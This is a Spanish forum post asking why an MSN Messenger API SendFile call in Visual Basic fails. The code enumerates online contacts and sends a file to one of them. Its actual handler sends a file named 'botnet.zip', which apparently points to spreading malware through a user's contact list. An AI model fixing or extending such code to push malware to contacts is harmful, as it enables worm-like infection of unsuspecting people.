Problema al enviar archivo

[Meg]

hola,estoy utilizando la api del msn para enviar un archivo a un contacto del msn utilizando el objeto sendfile de este modo:

Messenger.SendFile List1.Text, "C:\archivo.zip"

pero me da este error:

El objeto no admite esta accion

y no se porque  he encontrado ejemplos en google y me salta el mismo error

dejo el codigo entero de todo lo que he echo por si es necesario:
he agregado dos botones y un listbox.y las referencias:
Messenger API type library
Messenger private type library

Código [Seleccionar] Expandir

Public WithEvents MsgrUIA As MessengerAPI.Messenger
Public MsgrContacts As MessengerAPI.IMessengerContacts
Public MsgrServices As MessengerAPI.IMessengerServices
Public MsgrContact As MessengerAPI.IMessengerContact
Public mWindow As MessengerAPI.IMessengerWindow
Dim WithEvents MSNApi As MessengerAPI.Messenger
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Const WM_NCLBUTTONDOWN = &HA1

Private Sub Command1_Click()
On Error Resume Next
On Error Resume Next
contactosenlinea List1, MISTATUS_ONLINE
contactosenlinea List1, MISTATUS_AWAY
contactosenlinea List1, MISTATUS_BUSY
contactosenlinea List1, MISTATUS_BE_RIGHT_BACK
contactosenlinea List1, MISTATUS_ON_THE_PHONE
If List1.ListCount = 0 Then
List1.AddItem "No hay contactos En Linea"
End If
End Sub

Private Sub Command2_Click()
Messenger.SendFile List1.Text, "C:\botnet.zip"


End Sub

Private Sub Form_Load()
On Error Resume Next
Set Msn = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Set MSNApi = New MessengerAPI.Messenger
End Sub
Private Sub contactosenlinea(brList As ListBox, pStatus As MISTATUS)
Dim Contacto As IMessengerContact

For Each Contacto In MSNApi.MyContacts
If Contacto.Status = pStatus Then
brList.AddItem Contacto.SigninName
End If
Next
End Sub


Aver si alguien sabe como corregir este error y asi puedo enviar archivos al msn
gracias x todo